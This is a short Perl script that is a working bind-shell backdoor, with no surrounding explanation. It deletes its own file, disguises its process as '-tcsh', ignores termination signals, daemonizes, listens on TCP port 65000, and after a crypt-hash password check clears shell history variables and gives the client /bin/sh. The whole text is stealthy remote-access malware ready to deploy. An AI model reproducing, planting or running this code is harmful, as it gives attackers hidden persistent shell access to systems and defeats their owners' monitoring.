#!/usr/bin/perl
###make PASSWORD: perl -e 'print crypt("PASSWORD_8_char","SALT_2_char");'
$crypt_pass = "niX1re4OWJKV6";
$port = 65000; $hide = "-tcsh";
unlink($0); $0 = $hide . "\0" x16;
$SIG{'INT'}='IGNORE';$SIG{'HUP'}='IGNORE';$SIG{'TERM'}='IGNORE';
$SIG{'CHLD'}='IGNORE'; if(fork()){exit(0);};
use Socket; $proto = getprotobyname('tcp');
socket(SERVER,PF_INET,SOCK_STREAM,$proto);
setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,pack("l",1));
bind(SERVER,sockaddr_in($port,INADDR_ANY));
listen(SERVER,SOMAXCONN) or die "listen: $!";
for(;$paddr = accept(CLIENT,SERVER);close CLIENT){
open(STDIN,">&CLIENT");open(STDOUT,">&CLIENT");open(STDERR,">&CLIENT");
recv CLIENT,$pass,9,0; chop($pass);
if($crypt_pass =~ crypt($pass,substr($crypt_pass,0,2))){
delete $ENV{'HISTFILE'};delete $ENV{'HISTFILESIZE'};delete $ENV{'HISTSIZE'};
if(fork()){exec {'/bin/sh'} '-tcsh' . "\0" x4;exit(0);};
}
close(STDIN);close(STDOUT);close(STDERR);
}
### End ###
|